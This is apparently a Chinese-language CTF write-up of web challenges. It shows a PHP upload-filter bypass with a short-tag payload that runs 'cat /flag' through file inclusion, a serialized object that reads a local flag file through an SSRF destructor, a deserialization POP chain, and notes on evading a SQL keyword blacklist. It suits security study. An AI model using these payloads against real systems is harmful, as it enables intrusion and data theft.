1.100％_upload
url可以进行文件包含，但是flag被过滤
看一下源码
<?phpif(isset($_FILES['upfile'])){$uploaddir = 'uploads/';$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);$text = file_get_contents($_FILES['upfile']['tmp_name']);echo $ext;if (!preg_match("/ph.|htaccess/i", $ext)){if(preg_match("/<\?php/i", $text)){echo "<br>";}else{move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);echo "<br>:" . $uploadfile . "<br>";}} else {echo "<br>";}}

</html>ph.，htaccess，<\?php被过滤
用短标签绕过
上传test.png文件
<?=`cat /flag`;再包含读取
2.EZ_SSRF
在__destruct处可以直接读取文件
public function __destruct()
{
get($this->url);
}
<?php
class client{public $url="file:///var/www/html/flag.php";
}
echo serialize(new client);
3.Not just unserialize
简单的pop链
$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear="WOrries";
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));然后就是一个命令注入

黑名单有and ,like,or,information_schema,group by,空格等等
flag在flag吧表里，应该字段名就是flag，并且information_schema被过滤，推测用的无列名注入
可以看下这篇文章
